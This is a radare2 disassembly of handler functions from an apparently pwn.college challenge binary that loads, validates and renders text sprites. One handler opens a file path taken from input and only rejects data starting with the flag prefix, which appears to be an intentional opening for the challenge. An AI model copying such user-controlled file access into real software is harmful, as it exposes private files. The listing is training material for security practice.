│ │╎│╎ 0x00401911 0f1102 movups xmmword [rdx], xmm0
│ │╎│╎ 0x00401914 498b4710 mov rax, qword [r15 + 0x10]
│ │╎│╎ 0x00401918 48894210 mov qword [rdx + 0x10], rax
│ │└───< 0x0040191c e964ffffff jmp 0x401885
│ │ │╎ ; CODE XREF from sym.handle_2 @ 0x40188d(x)
│ └────> 0x00401921 41ffc5 inc r13d
│ │└─< 0x00401924 e94bffffff jmp 0x401874
│ │ ; CODE XREF from sym.handle_2 @ 0x40187c(x)
│ └──> 0x00401929 488b442428 mov rax, qword [canary]
│ 0x0040192e 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401937 7405 je 0x40193e
│ │ 0x00401939 e872f8ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_2 @ 0x401937(x)
│ └─> 0x0040193e 4883c438 add rsp, 0x38
│ 0x00401942 5b pop rbx
│ 0x00401943 5d pop rbp
│ 0x00401944 415c pop r12
│ 0x00401946 415d pop r13
│ 0x00401948 415e pop r14
│ 0x0040194a 415f pop r15
└ 0x0040194c c3 ret
; CALL XREF from main @ 0x401416(x)
┌ 337: sym.handle_3 (int64_t arg1, int64_t arg5);
│ `- args(rdi, r8) vars(4:sp[0x20..0x23])
│ 0x0040194d f30f1efa endbr64
│ 0x00401951 4154 push r12
│ 0x00401953 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401957 ba01000000 mov edx, 1 ; int64_t arg3
│ 0x0040195c 488d0dbc17.. lea rcx, str.ERROR:_Failed_to_read_sprite_id_ ; 0x40311f ; "ERROR: Failed to read &sprite_id!" ; int64_t arg4
│ 0x00401963 55 push rbp
│ 0x00401964 4889fd mov rbp, rdi ; arg1
│ 0x00401967 31ff xor edi, edi ; int fildes
│ 0x00401969 53 push rbx
│ 0x0040196a 4883ec10 sub rsp, 0x10
│ 0x0040196e 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401977 4889442408 mov qword [canary], rax
│ 0x0040197c 31c0 xor eax, eax
│ 0x0040197e 488d742405 lea rsi, [var_5h] ; void *buf
│ 0x00401983 e8eefbffff call sym.read_exact
│ 0x00401988 488d742406 lea rsi, [var_6h] ; void *buf
│ 0x0040198d 4183c8ff or r8d, 0xffffffff ; -1
│ 0x00401991 31ff xor edi, edi ; int fildes
│ 0x00401993 488d0d4817.. lea rcx, str.ERROR:_Failed_to_read_width_ ; 0x4030e2 ; "ERROR: Failed to read &width!" ; int64_t arg4
│ 0x0040199a ba01000000 mov edx, 1 ; int64_t arg3
│ 0x0040199f e8d2fbffff call sym.read_exact
│ 0x004019a4 ba01000000 mov edx, 1 ; int64_t arg3
│ 0x004019a9 31ff xor edi, edi ; int fildes
│ 0x004019ab 4183c8ff or r8d, 0xffffffff ; -1
│ 0x004019af 488d742407 lea rsi, [var_7h] ; void *buf
│ 0x004019b4 488d0d4517.. lea rcx, str.ERROR:_Failed_to_read_height_ ; 0x403100 ; "ERROR: Failed to read &height!" ; int64_t arg4
│ 0x004019bb e8b6fbffff call sym.read_exact
│ 0x004019c0 0fb6442405 movzx eax, byte [var_5h]
│ 0x004019c5 8a542406 mov dl, byte [var_6h]
│ 0x004019c9 48c1e004 shl rax, 4
│ 0x004019cd 4801e8 add rax, rbp
│ 0x004019d0 885019 mov byte [rax + 0x19], dl
│ 0x004019d3 488b7820 mov rdi, qword [rax + 0x20]
│ 0x004019d7 8a542407 mov dl, byte [var_7h]
│ 0x004019db 885018 mov byte [rax + 0x18], dl
│ 0x004019de 4885ff test rdi, rdi
│ ┌─< 0x004019e1 7405 je 0x4019e8
│ │ 0x004019e3 e888f7ffff call sym.imp.free ; void free(void *ptr)
│ │ ; CODE XREF from sym.handle_3 @ 0x4019e1(x)
│ └─> 0x004019e8 440fb6642406 movzx r12d, byte [var_6h]
│ 0x004019ee 0fb6542407 movzx edx, byte [var_7h]
│ 0x004019f3 440fafe2 imul r12d, edx
│ 0x004019f7 4963fc movsxd rdi, r12d ; size_t size
│ 0x004019fa e831f8ffff call sym.imp.malloc ; void *malloc(size_t size)
│ 0x004019ff 4889c3 mov rbx, rax
│ 0x00401a02 4885c0 test rax, rax
│ ┌─< 0x00401a05 750e jne 0x401a15
│ │ 0x00401a07 488d3df615.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x403004 ; "ERROR: Failed to allocate memory for the image data!" ; const char *s
│ │ 0x00401a0e e87df7ffff call sym.imp.puts ; int puts(const char *s)
│ ┌──< 0x00401a13 eb55 jmp 0x401a6a
│ ││ ; CODE XREF from sym.handle_3 @ 0x401a05(x)
│ │└─> 0x00401a15 4489e2 mov edx, r12d ; int64_t arg3
│ │ 0x00401a18 4889c6 mov rsi, rax ; void *buf
│ │ 0x00401a1b 4183c8ff or r8d, 0xffffffff ; -1
│ │ 0x00401a1f 31ff xor edi, edi ; int fildes
│ │ 0x00401a21 488d0d1116.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x403039 ; "ERROR: Failed to read data!" ; int64_t arg4
│ │ 0x00401a28 e849fbffff call sym.read_exact
│ │ 0x00401a2d 0fb6442407 movzx eax, byte [var_7h]
│ │ 0x00401a32 0fb6542406 movzx edx, byte [var_6h]
│ │ 0x00401a37 0fafd0 imul edx, eax
│ │ 0x00401a3a 31c0 xor eax, eax
│ │ ; CODE XREF from sym.handle_3 @ 0x401a4e(x)
│ │┌─> 0x00401a3c 39c2 cmp edx, eax
│ ┌───< 0x00401a3e 7e32 jle 0x401a72
│ ││╎ 0x00401a40 0fb60c03 movzx ecx, byte [rbx + rax]
│ ││╎ 0x00401a44 48ffc0 inc rax
│ ││╎ 0x00401a47 8d71e0 lea esi, [rcx - 0x20]
│ ││╎ 0x00401a4a 4080fe5e cmp sil, 0x5e ; '^' ; 94
│ ││└─< 0x00401a4e 76ec jbe 0x401a3c
│ ││ 0x00401a50 488b3de935.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ││ ; [0x405040:8]=0
│ ││ 0x00401a57 488d15f715.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_in_the_image_data__n
│ ││ ; 0x403055 ; "ERROR: Invalid character 0x%x in the image data!\n"
│ ││ 0x00401a5e be01000000 mov esi, 1
│ ││ 0x00401a63 31c0 xor eax, eax
│ ││ 0x00401a65 e816f8ffff call sym.imp.__fprintf_chk
│ ││ ; CODE XREF from sym.handle_3 @ 0x401a13(x)
│ │└──> 0x00401a6a 83cfff or edi, 0xffffffff ; -1
│ │ 0x00401a6d e8fef7ffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from sym.handle_3 @ 0x401a3e(x)
│ └───> 0x00401a72 0fb6442405 movzx eax, byte [var_5h]
│ 0x00401a77 48c1e004 shl rax, 4
│ 0x00401a7b 48895c2820 mov qword [rax + rbp + 0x20], rbx
│ 0x00401a80 488b442408 mov rax, qword [canary]
│ 0x00401a85 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401a8e 7405 je 0x401a95
│ │ 0x00401a90 e81bf7ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_3 @ 0x401a8e(x)
│ └─> 0x00401a95 4883c410 add rsp, 0x10
│ 0x00401a99 5b pop rbx
│ 0x00401a9a 5d pop rbp
│ 0x00401a9b 415c pop r12
└ 0x00401a9d c3 ret
; CALL XREF from main @ 0x40141d(x)
┌ 603: sym.handle_4 (int64_t arg1, int64_t arg5);
│ `- args(rdi, r8) vars(16:sp[0x1056..0x1078])
│ 0x00401c36 f30f1efa endbr64
│ 0x00401c3a 4157 push r15
│ 0x00401c3c 4156 push r14
│ 0x00401c3e 4155 push r13
│ 0x00401c40 4154 push r12
│ 0x00401c42 55 push rbp
│ 0x00401c43 53 push rbx
│ 0x00401c44 4c8d9c2400.. lea r11, [rsp - 0x40000]
│ ; CODE XREF from sym.handle_4 @ 0x401c5a(x)
│ ┌─> 0x00401c4c 4881ec0010.. sub rsp, 0x1000
│ ╎ 0x00401c53 830c2400 or dword [rsp], 0
│ ╎ 0x00401c57 4c39dc cmp rsp, r11
│ └─< 0x00401c5a 75f0 jne 0x401c4c
│ 0x00401c5c 4883ec48 sub rsp, 0x48
│ 0x00401c60 488d0d5615.. lea rcx, str.ERROR:_Failed_to_read_sprite_render_record_ ; 0x4031bd ; "ERROR: Failed to read &sprite_render_record!" ; int64_t arg4
│ 0x00401c67 ba09000000 mov edx, 9 ; int64_t arg3
│ 0x00401c6c 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401c70 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401c79 4889842438.. mov qword [rsp + 0x40038], rax ; [0x40038:8]=-1
│ 0x00401c81 31c0 xor eax, eax
│ 0x00401c83 4889fb mov rbx, rdi ; arg1
│ 0x00401c86 488d742416 lea rsi, [var_16h] ; void *buf
│ 0x00401c8b 31ff xor edi, edi ; int fildes
│ 0x00401c8d e8e4f8ffff call sym.read_exact
│ 0x00401c92 488d7c241f lea rdi, [var_1fh]
│ 0x00401c97 b900000100 mov ecx, 0x10000
│ 0x00401c9c 31c0 xor eax, eax
│ 0x00401c9e 0fb6542416 movzx edx, byte [var_16h]
│ 0x00401ca3 448a542417 mov r10b, byte [var_17h]
│ 0x00401ca8 488d74241f lea rsi, [var_1fh]
│ 0x00401cad f3ab rep stosd dword [rdi], eax
│ 0x00401caf 448a5c2418 mov r11b, byte [var_18h]
│ 0x00401cb4 408a6c2419 mov bpl, byte [var_19h]
│ 0x00401cb9 48c1e204 shl rdx, 4
│ 0x00401cbd 4801da add rdx, rbx
│ 0x00401cc0 440fb66218 movzx r12d, byte [rdx + 0x18]
│ ; CODE XREF from sym.handle_4 @ 0x401d20(x)
│ ┌─> 0x00401cc5 4139cc cmp r12d, ecx
│ ┌──< 0x00401cc8 7e58 jle 0x401d22
│ │╎ 0x00401cca 440fb64219 movzx r8d, byte [rdx + 0x19]
│ │╎ 0x00401ccf 31ff xor edi, edi
│ │╎ 0x00401cd1 4489c0 mov eax, r8d
│ │╎ 0x00401cd4 0fafc1 imul eax, ecx
│ │╎ ; CODE XREF from sym.handle_4 @ 0x401d1c(x)
│ ┌───> 0x00401cd7 4139f8 cmp r8d, edi
│ ┌────< 0x00401cda 7e42 jle 0x401d1e
│ │╎│╎ 0x00401cdc 4c8b4a20 mov r9, qword [rdx + 0x20]
│ │╎│╎ 0x00401ce0 44881486 mov byte [rsi + rax*4], r10b
│ │╎│╎ 0x00401ce4 44885c8601 mov byte [rsi + rax*4 + 1], r11b
│ │╎│╎ 0x00401ce9 40886c8602 mov byte [rsi + rax*4 + 2], bpl
│ │╎│╎ 0x00401cee 4d85c9 test r9, r9
│ ┌─────< 0x00401cf1 751b jne 0x401d0e
│ ││╎│╎ 0x00401cf3 488b354633.. mov rsi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ││╎│╎ ; [0x405040:8]=0 ; FILE *stream
│ ││╎│╎ 0x00401cfa 488d3de914.. lea rdi, str.ERROR:_attempted_to_render_uninitialized_sprite__n ; 0x4031ea ; "ERROR: attempted to render uninitialized sprite!\n" ; const char *s
│ ││╎│╎ 0x00401d01 e8daf4ffff call sym.imp.fputs ; int fputs(const char *s, FILE *stream)
│ ││╎│╎ 0x00401d06 83cfff or edi, 0xffffffff ; -1
│ ││╎│╎ 0x00401d09 e862f5ffff call sym.imp.exit ; void exit(int status)
│ ││╎│╎ ; CODE XREF from sym.handle_4 @ 0x401cf1(x)
│ └─────> 0x00401d0e 458a0c01 mov r9b, byte [r9 + rax]
│ │╎│╎ 0x00401d12 ffc7 inc edi
│ │╎│╎ 0x00401d14 44884c8603 mov byte [rsi + rax*4 + 3], r9b
│ │╎│╎ 0x00401d19 48ffc0 inc rax
│ │└───< 0x00401d1c ebb9 jmp 0x401cd7
│ │ │╎ ; CODE XREF from sym.handle_4 @ 0x401cda(x)
│ └────> 0x00401d1e ffc1 inc ecx
│ │└─< 0x00401d20 eba3 jmp 0x401cc5
│ │ ; CODE XREF from sym.handle_4 @ 0x401cc8(x)
│ └──> 0x00401d22 4531ff xor r15d, r15d
│ 0x00401d25 488dbc241f.. lea rdi, [rsp + 0x4001f]
│ ; CODE XREF from sym.handle_4 @ 0x401e62(x)
│ ┌─> 0x00401d2d 0fb644241d movzx eax, byte [var_1dh]
│ ╎ 0x00401d32 4439f8 cmp eax, r15d
│ ┌──< 0x00401d35 0f8e2c010000 jle 0x401e67
│ │╎ 0x00401d3b 4531d2 xor r10d, r10d
│ │╎ ; CODE XREF from sym.handle_4 @ 0x401e5a(x)
│ ┌───> 0x00401d3e 0fb644241c movzx eax, byte [var_1ch]
│ ╎│╎ 0x00401d43 4439d0 cmp eax, r10d
│ ┌────< 0x00401d46 0f8e13010000 jle 0x401e5f
│ │╎│╎ 0x00401d4c 0fb6542416 movzx edx, byte [var_16h]
│ │╎│╎ 0x00401d51 4531db xor r11d, r11d
│ │╎│╎ 0x00401d54 48c1e204 shl rdx, 4
│ │╎│╎ 0x00401d58 4801da add rdx, rbx
│ │╎│╎ 0x00401d5b 8a4219 mov al, byte [rdx + 0x19]
│ │╎│╎ 0x00401d5e 410fafc2 imul eax, r10d
│ │╎│╎ 0x00401d62 0244241a add al, byte [var_1ah]
│ │╎│╎ 0x00401d66 440fb6e0 movzx r12d, al
│ │╎│╎ 0x00401d6a 8a4218 mov al, byte [rdx + 0x18]
│ │╎│╎ 0x00401d6d 410fafc7 imul eax, r15d
│ │╎│╎ 0x00401d71 0244241b add al, byte [var_1bh]
│ │╎│╎ 0x00401d75 0fb6e8 movzx ebp, al
│ │╎│╎ ; CODE XREF from sym.handle_4 @ 0x401e52(x)
│ ┌─────> 0x00401d78 0fb6442416 movzx eax, byte [var_16h]
│ ╎│╎│╎ 0x00401d7d 48c1e004 shl rax, 4
│ ╎│╎│╎ 0x00401d81 0fb6441818 movzx eax, byte [rax + rbx + 0x18]
│ ╎│╎│╎ 0x00401d86 4439d8 cmp eax, r11d
│ ┌──────< 0x00401d89 0f8ec8000000 jle 0x401e57
│ │╎│╎│╎ 0x00401d8f 4531ed xor r13d, r13d
│ │╎│╎│╎ ; CODE XREF from sym.handle_4 @ 0x401e48(x)
│ ┌───────> 0x00401d92 0fb6442416 movzx eax, byte [var_16h]
│ ╎│╎│╎│╎ 0x00401d97 48c1e004 shl rax, 4
│ ╎│╎│╎│╎ 0x00401d9b 0fb6441819 movzx eax, byte [rax + rbx + 0x19]
│ ╎│╎│╎│╎ 0x00401da0 4439e8 cmp eax, r13d
│ ────────< 0x00401da3 0f8ea4000000 jle 0x401e4d
│ ╎│╎│╎│╎ 0x00401da9 410fafc3 imul eax, r11d
│ ╎│╎│╎│╎ 0x00401dad 4401e8 add eax, r13d
│ ╎│╎│╎│╎ 0x00401db0 4898 cdqe
│ ╎│╎│╎│╎ 0x00401db2 0fb6548422 movzx edx, byte [rsp + rax*4 + 0x22]
│ ╎│╎│╎│╎ 0x00401db7 3a54241e cmp dl, byte [var_1eh]
│ ────────< 0x00401dbb 0f8484000000 je 0x401e45
│ ╎│╎│╎│╎ 0x00401dc1 44895c240c mov dword [var_ch], r11d
│ ╎│╎│╎│╎ 0x00401dc6 be19000000 mov esi, 0x19 ; 25
│ ╎│╎│╎│╎ 0x00401dcb 440fb67306 movzx r14d, byte [rbx + 6]
│ ╎│╎│╎│╎ 0x00401dd0 4c8d05b012.. lea r8, str.e_38_2__03d__03d__03dm_ce_0m ; 0x403087
│ ╎│╎│╎│╎ 0x00401dd7 4489542408 mov dword [var_8h], r10d
│ ╎│╎│╎│╎ 0x00401ddc 51 push rcx
│ ╎│╎│╎│╎ 0x00401ddd b919000000 mov ecx, 0x19 ; 25
│ ╎│╎│╎│╎ 0x00401de2 52 push rdx
│ ╎│╎│╎│╎ 0x00401de3 0fb6548431 movzx edx, byte [rsp + rax*4 + 0x31]
│ ╎│╎│╎│╎ 0x00401de8 52 push rdx
│ ╎│╎│╎│╎ 0x00401de9 0fb6548438 movzx edx, byte [rsp + rax*4 + 0x38]
│ ╎│╎│╎│╎ 0x00401dee 52 push rdx
│ ╎│╎│╎│╎ 0x00401def 440fb64c843f movzx r9d, byte [rsp + rax*4 + 0x3f]
│ ╎│╎│╎│╎ 0x00401df5 ba01000000 mov edx, 1
│ ╎│╎│╎│╎ 0x00401dfa 31c0 xor eax, eax
│ ╎│╎│╎│╎ 0x00401dfc 48897c2420 mov qword [var_20h], rdi
│ ╎│╎│╎│╎ 0x00401e01 e85af3ffff call sym.imp.__snprintf_chk
│ ╎│╎│╎│╎ 0x00401e06 438d442500 lea eax, [r13 + r12]
│ ╎│╎│╎│╎ 0x00401e0b 488b7c2420 mov rdi, qword [var_20h]
│ ╎│╎│╎│╎ 0x00401e10 448b5c242c mov r11d, dword [var_ch]
│ ╎│╎│╎│╎ 0x00401e15 99 cdq
│ ╎│╎│╎│╎ 0x00401e16 448b542428 mov r10d, dword [var_8h]
│ ╎│╎│╎│╎ 0x00401e1b 4883c420 add rsp, 0x20
│ ╎│╎│╎│╎ 0x00401e1f 41f7fe idiv r14d
│ ╎│╎│╎│╎ 0x00401e22 0f1007 movups xmm0, xmmword [rdi]
│ ╎│╎│╎│╎ 0x00401e25 440faff5 imul r14d, ebp
│ ╎│╎│╎│╎ 0x00401e29 428d0432 lea eax, [rdx + r14]
│ ╎│╎│╎│╎ 0x00401e2d 31d2 xor edx, edx
│ ╎│╎│╎│╎ 0x00401e2f f7730c div dword [rbx + 0xc]
│ ╎│╎│╎│╎ 0x00401e32 486bd218 imul rdx, rdx, 0x18
│ ╎│╎│╎│╎ 0x00401e36 48035310 add rdx, qword [rbx + 0x10]
│ ╎│╎│╎│╎ 0x00401e3a 0f1102 movups xmmword [rdx], xmm0
│ ╎│╎│╎│╎ 0x00401e3d 488b4710 mov rax, qword [rdi + 0x10]
│ ╎│╎│╎│╎ 0x00401e41 48894210 mov qword [rdx + 0x10], rax
│ ╎│╎│╎│╎ ; CODE XREF from sym.handle_4 @ 0x401dbb(x)
│ ────────> 0x00401e45 41ffc5 inc r13d
│ └───────< 0x00401e48 e945ffffff jmp 0x401d92
│ │╎│╎│╎ ; CODE XREF from sym.handle_4 @ 0x401da3(x)
│ ────────> 0x00401e4d 41ffc3 inc r11d
│ │╎│╎│╎ 0x00401e50 ffc5 inc ebp
│ │└─────< 0x00401e52 e921ffffff jmp 0x401d78
│ │ │╎│╎ ; CODE XREF from sym.handle_4 @ 0x401d89(x)
│ └──────> 0x00401e57 41ffc2 inc r10d
│ │└───< 0x00401e5a e9dffeffff jmp 0x401d3e
│ │ │╎ ; CODE XREF from sym.handle_4 @ 0x401d46(x)
│ └────> 0x00401e5f 41ffc7 inc r15d
│ │└─< 0x00401e62 e9c6feffff jmp 0x401d2d
│ │ ; CODE XREF from sym.handle_4 @ 0x401d35(x)
│ └──> 0x00401e67 488b842438.. mov rax, qword [rsp + 0x40038]
│ 0x00401e6f 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401e78 7405 je 0x401e7f
│ │ 0x00401e7a e831f3ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_4 @ 0x401e78(x)
│ └─> 0x00401e7f 4881c44800.. add rsp, 0x40048
│ 0x00401e86 5b pop rbx
│ 0x00401e87 5d pop rbp
│ 0x00401e88 415c pop r12
│ 0x00401e8a 415d pop r13
│ 0x00401e8c 415e pop r14
│ 0x00401e8e 415f pop r15
└ 0x00401e90 c3 ret
; CALL XREF from main @ 0x401424(x)
┌ 408: sym.handle_5 (int64_t arg1, int64_t arg5);
│ `- args(rdi, r8) vars(5:sp[0x30..0x133])
│ 0x00401a9e f30f1efa endbr64
│ 0x00401aa2 4155 push r13
│ 0x00401aa4 b903010000 mov ecx, 0x103 ; 259
│ 0x00401aa9 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401aad ba02010000 mov edx, 0x102 ; 258 ; int64_t arg3
│ 0x00401ab2 4154 push r12
│ 0x00401ab4 4989fc mov r12, rdi ; arg1
│ 0x00401ab7 55 push rbp
│ 0x00401ab8 53 push rbx
│ 0x00401ab9 4881ec1801.. sub rsp, 0x118
│ 0x00401ac0 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401ac9 4889842408.. mov qword [canary], rax
│ 0x00401ad1 31c0 xor eax, eax
│ 0x00401ad3 488d7c2405 lea rdi, [var_5h]
│ 0x00401ad8 488d742405 lea rsi, [var_5h] ; void *buf
│ 0x00401add f3aa rep stosb byte [rdi], al
│ 0x00401adf 488d0d5b16.. lea rcx, str.ERROR:_Failed_to_read_sprite_load_record_ ; 0x403141 ; "ERROR: Failed to read &sprite_load_record!" ; int64_t arg4
│ 0x00401ae6 31ff xor edi, edi ; int fildes
│ 0x00401ae8 e889faffff call sym.read_exact
│ 0x00401aed 668b542406 mov dx, word [var_6h]
│ 0x00401af2 0fb6442405 movzx eax, byte [var_5h]
│ 0x00401af7 31f6 xor esi, esi ; int oflag
│ 0x00401af9 488d7c2408 lea rdi, [path] ; const char *path
│ 0x00401afe 86f2 xchg dl, dh
│ 0x00401b00 48c1e004 shl rax, 4
│ 0x00401b04 664189540418 mov word [r12 + rax + 0x18], dx
│ 0x00401b0a 31c0 xor eax, eax
│ 0x00401b0c e84ff7ffff call sym.imp.open ; int open(const char *path, int oflag)
│ 0x00401b11 488b352835.. mov rsi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ; [0x405040:8]=0
│ 0x00401b18 488d3d4d16.. lea rdi, str.ERROR:_failed_to_open_sprite_file_n ; 0x40316c ; "ERROR: failed to open sprite file\n"
│ 0x00401b1f 85c0 test eax, eax
│ ┌─< 0x00401b21 0f88ca000000 js 0x401bf1
│ │ 0x00401b27 89c5 mov ebp, eax
│ │ 0x00401b29 0fb6442405 movzx eax, byte [var_5h]
│ │ 0x00401b2e 48c1e004 shl rax, 4
│ │ 0x00401b32 4a8b7c2020 mov rdi, qword [rax + r12 + 0x20]
│ │ 0x00401b37 4885ff test rdi, rdi
│ ┌──< 0x00401b3a 7405 je 0x401b41
│ ││ 0x00401b3c e82ff6ffff call sym.imp.free ; void free(void *ptr)
│ ││ ; CODE XREF from sym.handle_5 @ 0x401b3a(x)
│ └──> 0x00401b41 440fb66c2406 movzx r13d, byte [var_6h]
│ │ 0x00401b47 0fb6542407 movzx edx, byte [var_7h]
│ │ 0x00401b4c 440fafea imul r13d, edx
│ │ 0x00401b50 4963fd movsxd rdi, r13d ; size_t size
│ │ 0x00401b53 e8d8f6ffff call sym.imp.malloc ; void *malloc(size_t size)
│ │ 0x00401b58 4889c3 mov rbx, rax
│ │ 0x00401b5b 4885c0 test rax, rax
│ ┌──< 0x00401b5e 7514 jne 0x401b74
│ ││ 0x00401b60 488d3d9d14.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x403004 ; "ERROR: Failed to allocate memory for the image data!" ; const char *s
│ ││ 0x00401b67 e824f6ffff call sym.imp.puts ; int puts(const char *s)
│ ││ ; CODE XREFS from sym.handle_5 @ 0x401bc9(x), 0x401bf6(x)
│ ┌┌───> 0x00401b6c 83cfff or edi, 0xffffffff ; -1
│ ╎╎││ 0x00401b6f e8fcf6ffff call sym.imp.exit ; void exit(int status)
│ ╎╎││ ; CODE XREF from sym.handle_5 @ 0x401b5e(x)
│ ╎╎└──> 0x00401b74 4489ea mov edx, r13d ; int64_t arg3
│ ╎╎ │ 0x00401b77 4889c6 mov rsi, rax ; void *buf
│ ╎╎ │ 0x00401b7a 4183c8ff or r8d, 0xffffffff ; -1
│ ╎╎ │ 0x00401b7e 89ef mov edi, ebp ; int fildes
│ ╎╎ │ 0x00401b80 488d0db214.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x403039 ; "ERROR: Failed to read data!" ; int64_t arg4
│ ╎╎ │ 0x00401b87 e8eaf9ffff call sym.read_exact
│ ╎╎ │ 0x00401b8c 0fb6442407 movzx eax, byte [var_7h]
│ ╎╎ │ 0x00401b91 0fb6542406 movzx edx, byte [var_6h]
│ ╎╎ │ 0x00401b96 0fafd0 imul edx, eax
│ ╎╎ │ 0x00401b99 31c0 xor eax, eax
│ ╎╎ │ ; CODE XREF from sym.handle_5 @ 0x401bad(x)
│ ╎╎┌──> 0x00401b9b 39c2 cmp edx, eax
│ ┌─────< 0x00401b9d 7e2c jle 0x401bcb
│ │╎╎╎│ 0x00401b9f 0fb60c03 movzx ecx, byte [rbx + rax]
│ │╎╎╎│ 0x00401ba3 48ffc0 inc rax
│ │╎╎╎│ 0x00401ba6 8d71e0 lea esi, [rcx - 0x20]
│ │╎╎╎│ 0x00401ba9 4080fe5e cmp sil, 0x5e ; '^' ; 94
│ │╎╎└──< 0x00401bad 76ec jbe 0x401b9b
│ │╎╎ │ 0x00401baf 488b3d8a34.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ │╎╎ │ ; [0x405040:8]=0
│ │╎╎ │ 0x00401bb6 488d159814.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_in_the_image_data__n
│ │╎╎ │ ; 0x403055 ; "ERROR: Invalid character 0x%x in the image data!\n"
│ │╎╎ │ 0x00401bbd be01000000 mov esi, 1
│ │╎╎ │ 0x00401bc2 31c0 xor eax, eax
│ │╎╎ │ 0x00401bc4 e8b7f6ffff call sym.imp.__fprintf_chk
│ │└────< 0x00401bc9 eba1 jmp 0x401b6c
│ │ ╎ │ ; CODE XREF from sym.handle_5 @ 0x401b9d(x)
│ └─────> 0x00401bcb ba0c000000 mov edx, 0xc ; 12 ; size_t n
│ ╎ │ 0x00401bd0 488d35b815.. lea rsi, str.pwn.college ; 0x40318f ; "pwn.college{" ; const char *s2
│ ╎ │ 0x00401bd7 4889df mov rdi, rbx ; const char *s1
│ ╎ │ 0x00401bda e8a1f5ffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
│ ╎ │ 0x00401bdf 85c0 test eax, eax
│ ╎┌──< 0x00401be1 7518 jne 0x401bfb
│ ╎││ 0x00401be3 488b355634.. mov rsi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ╎││ ; [0x405040:8]=0
│ ╎││ 0x00401bea 488d3dab15.. lea rdi, str.ERROR:_shenanigans_detected_____ ; 0x40319c ; "ERROR: shenanigans detected!!!!!"
│ ╎││ ; CODE XREF from sym.handle_5 @ 0x401b21(x)
│ ╎│└─> 0x00401bf1 e8eaf5ffff call sym.imp.fputs ; int fputs(const char *s, FILE *stream)
│ └───< 0x00401bf6 e971ffffff jmp 0x401b6c
│ │ ; CODE XREF from sym.handle_5 @ 0x401be1(x)
│ └──> 0x00401bfb 0fb6442405 movzx eax, byte [var_5h]
│ 0x00401c00 89ef mov edi, ebp ; int fildes
│ 0x00401c02 48c1e004 shl rax, 4
│ 0x00401c06 4a895c2020 mov qword [rax + r12 + 0x20], rbx
│ 0x00401c0b e8e0f5ffff call sym.imp.close ; int close(int fildes)
│ 0x00401c10 488b842408.. mov rax, qword [canary]
│ 0x00401c18 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401c21 7405 je 0x401c28
│ │ 0x00401c23 e888f5ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ │ ; CODE XREF from sym.handle_5 @ 0x401c21(x)
│ └─> 0x00401c28 4881c41801.. add rsp, 0x118
│ 0x00401c2f 5b pop rbx
│ 0x00401c30 5d pop rbp
│ 0x00401c31 415c pop r12
│ 0x00401c33 415d pop r13
└ 0x00401c35 c3 ret
; CALL XREF from main @ 0x40142b(x)
┌ 121: sym.handle_6 (int64_t arg1, int64_t arg5);
│ `- args(rdi, r8) vars(2:sp[0x10..0x11])
│ 0x00401f6b f30f1efa endbr64
│ 0x00401f6f 55 push rbp
│ 0x00401f70 4183c8ff or r8d, 0xffffffff ; -1 ; arg5
│ 0x00401f74 4889fd mov rbp, rdi ; arg1
│ 0x00401f77 ba01000000 mov edx, 1 ; int64_t arg3
│ 0x00401f7c 31ff xor edi, edi ; int fildes
│ 0x00401f7e 488d0dd512.. lea rcx, str.ERROR:_Failed_to_read_clear_ ; 0x40325a ; "ERROR: Failed to read &clear!" ; int64_t arg4
│ 0x00401f85 4883ec10 sub rsp, 0x10
│ 0x00401f89 64488b0425.. mov rax, qword fs:[0x28]
│ 0x00401f92 4889442408 mov qword [canary], rax
│ 0x00401f97 31c0 xor eax, eax
│ 0x00401f99 488d742407 lea rsi, [var_7h] ; void *buf
│ 0x00401f9e e8d3f5ffff call sym.read_exact
│ 0x00401fa3 807c240700 cmp byte [var_7h], 0
│ ┌─< 0x00401fa8 7413 je 0x401fbd
│ │ 0x00401faa 488d35c712.. lea rsi, str.e_He_2J ; 0x403278
│ │ 0x00401fb1 bf01000000 mov edi, 1
│ │ 0x00401fb6 31c0 xor eax, eax
│ │ 0x00401fb8 e883f2ffff call sym.imp.__printf_chk
│ │ ; CODE XREF from sym.handle_6 @ 0x401fa8(x)
│ └─> 0x00401fbd 31f6 xor esi, esi
│ 0x00401fbf 31c0 xor eax, eax
│ 0x00401fc1 4889ef mov rdi, rbp ; int64_t arg1
│ 0x00401fc4 e841ffffff call sym.display
│ 0x00401fc9 488b442408 mov rax, qword [canary]
│ 0x00401fce 6448330425.. xor rax, qword fs:[0x28]
│ ┌─< 0x00401fd7 7405 je 0x401fde
│ │ 0x00401fd9 e8d2f1ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
